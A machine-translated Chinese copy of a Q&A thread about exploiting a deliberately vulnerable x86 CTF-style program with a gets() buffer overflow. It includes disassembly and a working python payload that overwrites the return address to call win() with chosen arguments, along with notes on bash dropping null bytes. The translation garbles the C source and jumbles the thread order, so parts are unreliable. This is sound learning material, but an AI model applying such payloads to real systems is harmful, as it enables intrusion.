Gcc 缓冲区溢出:过度写入

Gcc 缓冲区溢出:过度写入,gcc,assembly,x86,buffer-overflow,exploit,Gcc,Assembly,X86,Buffer Overflow,Exploit,我有一个易受缓冲区溢出攻击的程序。易受攻击的函数具有2个参数。第一个是标准的4字节。但是,对于第二种情况,程序执行以下操作: xor ch, 0 ... cmp dword ptr [ebp+10h], 0F00DB4BE 现在,如果我提供了两个不同的4字节参数,作为我的攻击的一部分,即ABCDEFGH假设ABCD是第一个参数,EFGH是第二个参数,CH变成了G。因此,我自然想到了制作以下假设ABCD是正确的: ABCD\x00\x0d\x00\x00 然而,发生的事情是,nullbu

我有一个易受缓冲区溢出攻击的程序。易受攻击的函数具有2个参数。第一个是标准的4字节。但是,对于第二种情况,程序执行以下操作:

xor ch, 0
...
cmp     dword ptr [ebp+10h], 0F00DB4BE
现在,如果我提供了两个不同的4字节参数,作为我的攻击的一部分,即ABCDEFGH假设ABCD是第一个参数,EFGH是第二个参数,CH变成了G。因此,我自然想到了制作以下假设ABCD是正确的:

ABCD\x00\x0d\x00\x00

然而,发生的事情是,nullbutes似乎被忽略了!以CH=0和CL=0xd的形式发送上述结果。无论我将\x0d放在何处,都会发生这种情况,即:

ABCD\x0d\x00\x00\x00 ABCD\x00\x0d\x00\x00 ABCD\x00\x00\x0d\x00 ABCD\x00\x00\x00\x0d

所有这些都会产生相同的行为

如何继续只覆盖CH,而将ECX的其余部分保留为null

编辑:见下面我自己的答案。简短的版本是bash忽略空字节,它部分解释了为什么该漏洞不能在本地工作。确切的原因可以找到。感谢迈克尔·佩奇指出这一点

资料来源:

包括 包括 void winlong long arg1,int arg2 { 如果arg1!=0x14B4DA55 | | arg2!=0xF00DB4BE { 有点恶心,但不完全是。; 出口1; } 打印您赢了!\n; } 虚空之神 { char-buf[16]; 打印输入某物>; getsbuf; 打印您键入的%s!\n,buf; } int main { /*禁用标准输出上的缓冲*/ setvbufstdout,NULL,_IONBF,0; 瓦伦; 返回0; } objdump对可执行文件的反汇编的相关部分是:

080491c2 <win>:
 80491c2:       55                      push   %ebp
 80491c3:       89 e5                   mov    %esp,%ebp
 80491c5:       81 ec 28 01 00 00       sub    $0x128,%esp
 80491cb:       8b 4d 08                mov    0x8(%ebp),%ecx
 80491ce:       89 8d e0 fe ff ff       mov    %ecx,-0x120(%ebp)
 80491d4:       8b 4d 0c                mov    0xc(%ebp),%ecx
 80491d7:       89 8d e4 fe ff ff       mov    %ecx,-0x11c(%ebp)
 80491dd:       8b 8d e0 fe ff ff       mov    -0x120(%ebp),%ecx
 80491e3:       81 f1 55 da b4 14       xor    $0x14b4da55,%ecx
 80491e9:       89 c8                   mov    %ecx,%eax
 80491eb:       8b 8d e4 fe ff ff       mov    -0x11c(%ebp),%ecx
 80491f1:       80 f5 00                xor    $0x0,%ch
 80491f4:       89 ca                   mov    %ecx,%edx
 80491f6:       09 d0                   or     %edx,%eax
 80491f8:       85 c0                   test   %eax,%eax
 80491fa:       75 09                   jne    8049205 <win+0x43>
 80491fc:       81 7d 10 be b4 0d f0    cmpl   $0xf00db4be,0x10(%ebp)
 8049203:       74 1a                   je     804921f <win+0x5d>
 8049205:       83 ec 0c                sub    $0xc,%esp
 8049208:       68 08 a0 04 08          push   $0x804a008
 804920d:       e8 4e fe ff ff          call   8049060 <puts@plt>
 8049212:       83 c4 10                add    $0x10,%esp
 8049215:       83 ec 0c                sub    $0xc,%esp
 8049218:       6a 01                   push   $0x1
 804921a:       e8 51 fe ff ff          call   8049070 <exit@plt>
 804921f:       83 ec 0c                sub    $0xc,%esp
 8049222:       68 1e a0 04 08          push   $0x804a01e
 8049227:       e8 34 fe ff ff          call   8049060 <puts@plt>
 804922c:       83 c4 10                add    $0x10,%esp
 804922f:       83 ec 08                sub    $0x8,%esp
 8049232:       68 27 a0 04 08          push   $0x804a027
 8049237:       68 29 a0 04 08          push   $0x804a029
 804923c:       e8 5f fe ff ff          call   80490a0 <fopen@plt>
 8049241:       83 c4 10                add    $0x10,%esp
 8049244:       89 45 f4                mov    %eax,-0xc(%ebp)
 8049247:       83 7d f4 00             cmpl   $0x0,-0xc(%ebp)
 804924b:       75 12                   jne    804925f <win+0x9d>
 804924d:       83 ec 0c                sub    $0xc,%esp
 8049250:       68 34 a0 04 08          push   $0x804a034
 8049255:       e8 06 fe ff ff          call   8049060 <puts@plt>
 804925a:       83 c4 10                add    $0x10,%esp
 804925d:       eb 31                   jmp    8049290 <win+0xce>
 804925f:       83 ec 04                sub    $0x4,%esp
 8049262:       ff 75 f4                pushl  -0xc(%ebp)
 8049265:       68 00 01 00 00          push   $0x100
 804926a:       8d 85 f4 fe ff ff       lea    -0x10c(%ebp),%eax
 8049270:       50                      push   %eax
 8049271:       e8 da fd ff ff          call   8049050 <fgets@plt>
 8049276:       83 c4 10                add    $0x10,%esp
 8049279:       83 ec 08                sub    $0x8,%esp
 804927c:       8d 85 f4 fe ff ff       lea    -0x10c(%ebp),%eax
 8049282:       50                      push   %eax
 8049283:       68 86 a0 04 08          push   $0x804a086
 8049288:       e8 a3 fd ff ff          call   8049030 <printf@plt>
 804928d:       83 c4 10                add    $0x10,%esp
 8049290:       90                      nop
 8049291:       c9                      leave
 8049292:       c3                      ret

08049293 <vuln>:
 8049293:       55                      push   %ebp
 8049294:       89 e5                   mov    %esp,%ebp
 8049296:       83 ec 18                sub    $0x18,%esp
 8049299:       83 ec 0c                sub    $0xc,%esp
 804929c:       68 90 a0 04 08          push   $0x804a090
 80492a1:       e8 8a fd ff ff          call   8049030 <printf@plt>
 80492a6:       83 c4 10                add    $0x10,%esp
 80492a9:       83 ec 0c                sub    $0xc,%esp
 80492ac:       8d 45 e8                lea    -0x18(%ebp),%eax
 80492af:       50                      push   %eax
 80492b0:       e8 8b fd ff ff          call   8049040 <gets@plt>
 80492b5:       83 c4 10                add    $0x10,%esp
 80492b8:       83 ec 08                sub    $0x8,%esp
 80492bb:       8d 45 e8                lea    -0x18(%ebp),%eax
 80492be:       50                      push   %eax
 80492bf:       68 a0 a0 04 08          push   $0x804a0a0
 80492c4:       e8 67 fd ff ff          call   8049030 <printf@plt>
 80492c9:       83 c4 10                add    $0x10,%esp
 80492cc:       90                      nop
 80492cd:       c9                      leave
 80492ce:       c3                      ret

080492cf <main>:
 80492cf:       8d 4c 24 04             lea    0x4(%esp),%ecx
 80492d3:       83 e4 f0                and    $0xfffffff0,%esp
 80492d6:       ff 71 fc                pushl  -0x4(%ecx)
 80492d9:       55                      push   %ebp
 80492da:       89 e5                   mov    %esp,%ebp
 80492dc:       51                      push   %ecx
 80492dd:       83 ec 04                sub    $0x4,%esp
 80492e0:       a1 34 c0 04 08          mov    0x804c034,%eax
 80492e5:       6a 00                   push   $0x0
 80492e7:       6a 02                   push   $0x2
 80492e9:       6a 00                   push   $0x0
 80492eb:       50                      push   %eax
 80492ec:       e8 9f fd ff ff          call   8049090 <setvbuf@plt>
 80492f1:       83 c4 10                add    $0x10,%esp
 80492f4:       e8 9a ff ff ff          call   8049293 <vuln>
 80492f9:       b8 00 00 00 00          mov    $0x0,%eax
 80492fe:       8b 4d fc                mov    -0x4(%ebp),%ecx
 8049301:       c9                      leave
 8049302:       8d 61 fc                lea    -0x4(%ecx),%esp
 8049305:       c3                      ret

不清楚为什么您会挂起ECX中的值或win函数中的xor ch,0指令。从C代码可以清楚地看出,win检查要求64位长的arg1为0x14B4DA55,arg2为0xF00DB4BE。当该条件满足时,它将打印您赢了

我们需要某种缓冲区利用,它能够执行win函数,并使它看起来像是被传递了一个64位长的第一个参数和一个32位int作为第二个参数

实现这一点最明显的方法是在vuln函数中溢出buf,策略性地覆盖返回地址,并将其替换为win地址。在分解后的输出中,win为0x080491c2。我们需要为返回地址写入0x080491c2,后跟一些伪值,后跟64位值0x14B4DA55,与0x0000000014B4DA55相同,后跟32位值0xF00DB4BE

需要返回地址的伪值,因为我们需要模拟堆栈上的函数调用。我们不会发出call指令,所以我们必须让它看起来像已经完成了一样。目标是印刷你赢!之后程序是否崩溃与此无关

返回地址win、arg1和arg2必须按相反顺序存储为字节,因为x86处理器是little endian

最后一个大问题是,我们需要输入多少字节才能使缓冲区溢出以到达返回地址?您可以使用反复试验的bruteforce来解决这个问题,但我们可以查看对gets调用的反汇编:

其中progname是可执行文件的名称。运行时,它应类似于:


注意:组成A和B之间的返回地址的4个字符不可打印,因此它们不会出现在控制台输出中,但它们与所有其他不可打印字符一样仍然存在。

作为我自己问题的有限答案,特别是关于忽略空字节的原因:

bash似乎忽略了空字节,这似乎是一个问题


我的许多其他同龄人在编写漏洞时也面临同样的问题。例如,当使用gdb时,它可以在服务器上工作,但不能在本地工作。Bash只会忽略空字节,因此\x55\xda\xb4\x14\x00\x00\x00\xbe\xb4\x0d\xf0将作为\x55\xda\xb4\x14\xbe\xb4\x0d\xf0读入。我仍然想不出它这样做的确切原因,但要记住这是一件好事

这里没有足够的上下文。我们需要看到更多的代码。当然,这不是xor ch,0,因为它对ch没有任何作用。是的,零可能会被忽略,或者可能会终止输入,这取决于它是如何传递到程序的以及它的处理方式。请发布所有的代码。我不知道vuln或win在何处或如何被调用。因此,我收集的是一个有效负载字符串,您可以输入该字符串,该字符串溢出buf,以便vuln返回win而不是返回tomain,并且看起来被传递值0x14B4DA55和0xF00DB4BE作为参数1和2。谢谢你展示了所有的代码。您可以发布objdump-dprogname的输出,其中progname是可执行文件的名称,而不是询问您正在使用的GCC/编译器的哪个版本?我提出这个问题的原因是,编译器和用于构建它们的选项之间的答案可能会有所不同。了解您生成的代码有助于开发漏洞。@MichaelPe
是的!!我不知道为什么我以前没有管理好它,这非常有效。我仍然不明白为什么只有ch是xored,然后ecx是用eax进行xored的,但这会产生0。我演示如何使用python管道数据的原因之一是为了避免在shell字符串中嵌入NUL字符的问题,特别是在使用bash时。你可能希望阅读这个答案:这是伟大的,基本上解释了它!这与您需要在大多数利用漏洞的有效负载中避免0字节的原因相同:该漏洞通常是strcpy或与以0结尾的C字符串一起工作的等效漏洞。带有显式长度内容的缓冲区溢出更为罕见。
 80492ac:       8d 45 e8                lea    -0x18(%ebp),%eax
 80492af:       50                      push   %eax
 80492b0:       e8 8b fd ff ff          call   8049040 <gets@plt
python -c 'print "A"*28+"\xc2\x91\x04\x08" \
    +"B"*4+"\x55\xda\xb4\x14\x00\x00\x00\x00\xbe\xb4\x0d\xf0"' | ./progname
Type something>You typed AAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBUڴ!
You win!
Segmentation fault